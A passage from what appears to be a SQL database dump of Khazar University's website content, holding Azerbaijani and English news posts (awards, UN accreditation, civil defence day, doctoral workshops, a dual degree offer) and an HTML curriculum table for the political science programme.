edirdilər.</p><p>Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin ikinci kurs tələbələri ilə təmsil olunurdu.</p><p>3 komanda ilə “Əsas kateqoriya”da mubarizə aparan “Xəzər”in komandaları birinci (Vüsal İsmayılov, Məhəmməd Məmmədli, Əhməd Ərəbov), ikinci (Emin Bayramov, Ayxan Əlifov, Asəf Novruzlu) və üçüncü (İlqar Hüseynli, Taleh Məmmədov) yerlərə layiq görüldülər.</p><p>Qalib komandalar diplom və qiymətli hədiyyələrlə mükafatlandırıldı.</p>'),(4432,2611,'en','Anxious  students at mid-term exam sessions – PHOTOSESSION','',''),(4228,2475,'en','Khazar University accredited by the UN Convention against Desertification','In September 2017, Khazar University was accredited by the UN Convention against Desertification...','<p>In September 2017, Khazar University was accredited by the UN Convention against Desertification.</p><p>The main purpose of this convention is to prevent the destruction of desertification and vegetation on the Earth, affected by the human activities and climate change. The Convention is put into effect through the obligations the ratified countries have taken on. It should be noted that Azerbaijan also joined the convention which means Azerbaijan, as an independent state, fights against desertification across the country through international and national initiatives.</p><p>Accreditation of Khazar University came as no surprise as the Center for Environmental Research, established at Khazar University in 2007, has focused on the desertification problem as one of the main issues in its ongoing scientific researches. Numerous documents were required during the accreditation and the Center\'s scientific activities were being thoroughly examined. At the COP13 Conference (Conference of Parties) held in September this year in Ordos, China, the accreditation of the Khazar University has been approved. It\'s interesting that, the only organization, IDEA chaired by Leyla Aliyeva from Azerbaijan was accredited. Four organizations from Georgia and two from Azerbaijan have been accredited out of former Soviet republics. No organization has been accredited from other republics.</p><p>Khazar University will participate in all UN future conventions as an observer organization. Throughout its scientific activity, Khazar University will put forward all topics in the light of prevention of desertification closely with UN structures, enabling it to further expand its international relations in this field.</p>'),(4229,2488,'az','Vurğun Əyyubun kitabı haqqında məqalə yazıldı','Xəzər Universiteti Azərbaycan dili və ədəbiyyat departamentinin müdiri dosent Vurğun Əyyubun “Azərbaycan romantizmini...','<p>Xəzər Universiteti Azərbaycan dili və ədəbiyyat departamentinin müdiri dosent Vurğun Əyyubun “Azərbaycan romantizmini araşdırarkən...” (Bakı, “Elm və təhsil”, 2017) adlı kitabı haqqında professor Bədirxan Əhmədlinin “Ədəbiyyat” qəzetində “Romantizm araşdırmalarına yeni baxış” adlı məqaləsi çap olunmuşdur. B.Əhmədli məqaləsində kitabın məziyyətlərindən söhbət açmış, müəllifin Azərbaycan romantizminə aid tədqiqat və məqalələrində yeni baxış sərgilədiyini faktlarla sübut etmişdir.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:&nbsp;</p><p><a href=\"http://edebiyyatqazeti.az/news/gundem/666-romantizm-arasdirmalarina-yeni-baxis\">http://edebiyyatqazeti.az/news/gundem/666-romantizm-arasdirmalarina-yeni-baxis</a></p>'),(6149,3505,'az','Politologiya','Politologiya','<br><br><br><h3>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Tədris Planı -&nbsp;<span style=\"font-size:inherit\">Politologiya</span></h3><br><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"1105\" style=\"\" border-collapse:collapse;width:830pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" class=\"xl119\" width=\"1105\" style=\"text-align: center;\" height:16.5pt;width:830pt\"\"=\"\"><strong>1-ci </strong><strong>kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl113\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl116\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em>  </td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL101</td>\r\n  <td>İngilis dili-1</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL102</td>\r\n  <td>İngilis dili-2</td>\r\n  <td>ENGL101</td>\r\n  <td style=\"text-align:center\">8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZH150</td>\r\n  <td>Azərbaycan tarixi</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL101</td>\r\n  <td>Azərbaycan dili</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR110</td>\r\n  <td>Siyasi Elmlərə Giriş</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZC101</td>\r\n  <td>Azərbaycan Mədəniyyəti</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS101</td>\r\n  <td width=\"300\">İnformatikaya giriş (Elm və Texnologiya)</td>\r\n  <td width=\"91\">&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR150</td>\r\n  <td width=\"321\">Qədim və Orta Əsr Sosial Siyasi Fikir Tarixi</td>\r\n  <td width=\"81\">&nbsp;PSIR 110</td>\r\n  <td width=\"51\" style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Sosial Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Elm və Texnologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>2-ci kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl113\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl116\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL105</td>\r\n  <td>Azərbaycan Ədəbiyyatı</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR216</td>\r\n  <td>İxtisas yönümlü İngilis dili</td>\r\n  <td>ENGL103</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL103</td>\r\n  <td>Akademik İngilis dili</td>\r\n  <td>ENGL102</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR250</td>\r\n  <td>Beynəlxalq Münasibətlər Tarixi</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR202</td>\r\n  <td width=\"300\">Siyasi Fikrin Müasir Sosial Tarixi</td>\r\n  <td width=\"91\">PSIR150</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR251</td>\r\n  <td>Beynəlxalq Təşkilatlar</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanitar Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PHIL110</td>\r\n  <td>Fəlsəfəyə Giriş</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə Xarici dil-1(Avropa dilləri)</td>\r\n  <td width=\"91\">&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Sosial Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə Xarici dil-2(Avropa dilləri)</td>\r\n  <td>Seçmə dil-1</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>3-cü kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl113\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl116\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR300</td>\r\n  <td>Beynəlxalq Münasibətlər Nəzəriyyəsi</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR351</td>\r\n  <td>Azərbaycanın Xarici Siyasəti</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR301</td>\r\n  <td>Müasir Diplomatiya</td>\r\n  <td>PSIR250</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR350</td>\r\n  <td>Siyasi Sosiologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR303</td>\r\n  <td>İqtisadiyyat</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR352</td>\r\n  <td>Beynəlxalq Siyasi İqtisadiyyat</td>\r\n  <td>PSIR303</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td><td>Elm və Texnologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanitar Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>4-cü kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl113\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl116\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR401</td>\r\n  <td>Siyasi Psixologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR450</td>\r\n  <td>Müqayisəli Siyasət</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR400</td>\r\n  <td>Siyasi Elmlərdə Tədqiqat Metodları</td>\r\n  <td><br></td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR451</td>\r\n  <td>Müasir İnteqrasiya Prosesləri</td>\r\n  <td>PSIR301</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR403</td>\r\n  <td>Siyasi və İqtisadi Coğrafiya</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR500</td>\r\n  <td>Təcrübə</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR405</td>\r\n  <td>Azərbaycan və Xarici Ölkələrin Siyasi Sistemləri</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Seçmə fənn</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Ümumi Kredit Sayı</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td style=\"text-align:center\"><strong>270</strong></td>\r\n </tr></tbody></table>'),(5183,3009,'en','March 1 – World Civil Defense Day celebrated','A ceremony dedicated to March 1 – World Civil Defense Day was organised on March...','<p>A ceremony dedicated to March 1 –   World Civil Defense Day was organised on March 1, 2018. Irada Khalilova, vice-rector for Research, instructors and students participated in the ceremony. Mais Talishkhanov, a staff member of Khazar University and retired lieutenant-colonel, opened the ceremony. Participants commemorated those who were massacred in the Khojaly genocide with a 1-minute silence. Mais Talishkhanov provided information on importance, duties of civil defence and enlightened the participants how to prepare for a state of emergency. Later, Bahar Babayeva and Aynura Mohsunlu, got the floor to run the ceremony. Natavan Ahmadova, a student of School of Education, made a presentation on history and development of the International Civil Defence Organization and the role of Azerbaijan in this organization.</p><p>A ceremony for March 1 - World Civil Defense Day is dedicated to a certain topic each year. The topic of this year - “An effective management of emergency situations by civil defence and national institutions” - was introduced by Narmina Mammadova. Nurlana Jafarzadeh, a student, made a video-presentation on the topic. Elmir Guliyev, a student of School of Economics and</p><p>Management, demonstrated artificial respiration and closed chest cardiac massage in case of emergency. Later, a video-film about “A state of emergency and Civil Defense in Azerbaijan” was demonstrated.</p><p>Baba Bayramli, a staff member of the Ministry of Emergency Situations and Khazar University, provided students with full information on safety in, warning signs of, emergency, and answered students’ questions.</p>'),(4231,2489,'az','“Kainat” Tədris Mərkəzinin keçmiş abituriyentləri ilə görüş keçiriləcək','2017-ci il oktyabrın 17-si saat 15:00-da “Mərmər” salonda “Kainat” Tədris Mərkəzinin...','<p>2017-ci il oktyabrın 17-si saat 15:00-da “Mərmər” salonda “Kainat” Tədris Mərkəzinin abituriyenti olmuş və builki qəbulda Xəzər Universitetini seçmiş 40 nəfər tələbə və mərkəzin&nbsp;nümayəndələri ilə görüş keçiriləcək.</p>'),(4232,2490,'az','“Xəzər Xəbər”in əməkdaşının məqaləsi xatirələr kitabında çap olunub','Görkəmli şair, nasir, publisist Vaqif Məmmədov haqqında irihəcmli xatirələr kitabı çap...','<p><img src=\"/files/letters/Vaqif-Mammadov.jpg\" style=\"border:0px #000000;width:180px;height:216px;margin-right:8px;margin-bottom:8px;float:left\">Görkəmli şair, nasir, publisist Vaqif Məmmədov haqqında irihəcmli xatirələr kitabı çap olunub. “Elm və təhsil” nəşriyyatında işıq üzü görmüş “Vaqif Məmmədov xatirələrdə” adlı kitabda “Xəzər Xəbər” jurnalının baş redaktor müavini, əməkdar jurnalist Əlirza Balayevin də “Qeyrət qalasının övladı” adlı xatirə-məqaləsi yer almışdır.</p>'),(4233,2462,'en','Coordinator of the Centre for Students with Disabilities gave an interview to Caucasian Network Site for Children','Rima Mammadova, the Coordinator of Khazar University Center for Students with Disabilities, gave an...','<p>Rima Mammadova, the Coordinator of Khazar University Center for Students with Disabilities,&nbsp;gave an interview to the Caucasus Network for Children website. During the interview, R.Mammadova, the project coordinator, gave a broad introduction about the \"Establishment of Integration of people with Disabilities into Higher Education Institutions of Azerbaijan\" Tempus project, coordinated by her and spoke about the purpose and importance of the project. She also gave information about the Center for students with Disabilities, created at Khazar University.</p><p>The interview can be obtained in English and Russian through the following links:</p><p><a href=\"http://www.caucasuschildren.net/csd-solve-important-problems-of-students-with-disabilities\">http://www.caucasuschildren.net/csd-solve-important-problems-of-students-with-disabilities</a></p><p><a href=\"http://ru.caucasuschildren.net/-csd-solve-important-problems-of-students-with-disabilities-ru\">http://ru.caucasuschildren.net/-csd-solve-important-problems-of-students-with-disabilities-ru</a></p>'),(4235,2494,'en','News and Announcements','News and Announcements','<p>05&nbsp;March, 2018  <br></p><h3>Next workshop for PhD students of School of Economics and Management</h3><p>School of Economics and Management of\r\nKhazar University launched a doctoral workshop series on March 5, 2018.</p><p>The goal of the workshop was to provide\r\nPhD students with the opportunity to discuss their research findings/proposals\r\nwith their colleagues and senior faculty members. The workshop focused on\r\nin-depth discussions of PhD students’ progress in their research on the topics\r\n“Improving the human resources management in health organizations”, “Evaluation\r\nof the impact of Caspian region countries on EU gas supply security” and\r\n“Economic development and prospects for cooperation: the case of Caspian region\r\ncountries”.</p>\r\n<p>Senior\r\nfaculty members provided PhD students with their valuable feedbacks and\r\nmotivated them for systematic and consistent progress in their research.</p><br><table rules=\"none\" style=\"width:674px;height:554px;border:0px dotted #ffffff;background-color:#ffffff\"><tbody><tr><td><img src=\"http://www.khazar.org/files/economics/o_1c808o9je1hi81lrvogl1tb978oi.JPG\" style=\"border:0px #252525;width:200px;height:160px;margin:7px;vertical-align:baseline\">&nbsp;</td><td><img src=\"http://www.khazar.org/files/economics/o_1c808o9je1jn8j5i1cp7o341gamo.JPG\" style=\"border:0px #252525;width:200px;height:160px;margin:7px;vertical-align:baseline\">&nbsp;</td><td><img src=\"http://www.khazar.org/files/economics/o_1c808o9je3t4ioolgna1j1q1uj.JPG\" style=\"width:200px;height:160px;margin:7px\">&nbsp;</td></tr><tr><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jedfvptfi8f17b14n1n.JPG\" style=\"width:200px;height:160px;margin:7px\"></td><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jeark1ibg1dj61qn51feik.JPG\" style=\"border:0px  #252525;width:200px;height:160px;margin:7px\"></td><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jebta1muqpur1u1nm1tl.JPG\" style=\"width:200px;height:160px;margin:7px\"></td></tr><tr><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9jer7tbolcdq1nh8l9sm.JPG\" style=\"color:#252525;font-family:\'Source Sans Pro\', sans-serif;width:200px;height:160px;margin:7px\"></td><td>&nbsp;<img src=\"http://www.khazar.org/files/economics/o_1c808o9je4td16cnn1u1iin1r7hh.JPG\" style=\"width:200px;height:160px;margin:7px\"></td><td>&nbsp;</td></tr></tbody></table><br><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:medium;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\">02 March, 2018&nbsp;</p><h3><strong style=\"text-indent:0.25in\">A\r\nDoctoral Workshop to be held by School of Economics and Management</strong></h3>\r\n<p>School of Economics and Management\r\nof Khazar University will organise a doctoral workshop at 15:30, on March 5,\r\n2018. The purpose of the workshop is to bring PhD students together to share their\r\nknowledge and also provide them with the opportunity to discuss their research with\r\ncolleagues and senior faculty members. </p>\r\n<p>The seminar is\r\nopen for those who are interested in. </p><p>\r\nVenue: Room 314 (Old)</p>  <br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><p>22 February, 2018<br></p><h3>Dual Degree Diploma: Study one academic year in Europe and get a dual degree diploma</h3><h3 style=\"font-size:medium\">Khazar University and&nbsp;Polytechnic Institute of Bragança (IPB), Portugal&nbsp;</h3><div><br></div> <p>REQUIREMENTS:</p><p>Level of Study:</p><p>&nbsp; &nbsp; - Bachelor: have completed 6 (six) semesters of study and accumulated 180 ECTS</p><p>&nbsp; &nbsp; - Master: have completed 2 (two) semesters and accumulated 60 ECTS</p><p>Programs/Majors:</p><p>&nbsp; &nbsp; - Bachelor: Management</p><p>&nbsp; &nbsp; - Master:&nbsp;Management (MBA)</p><p>Tuition Fee and Cost of Living: international students can study and live in Bragança (Portugal) for 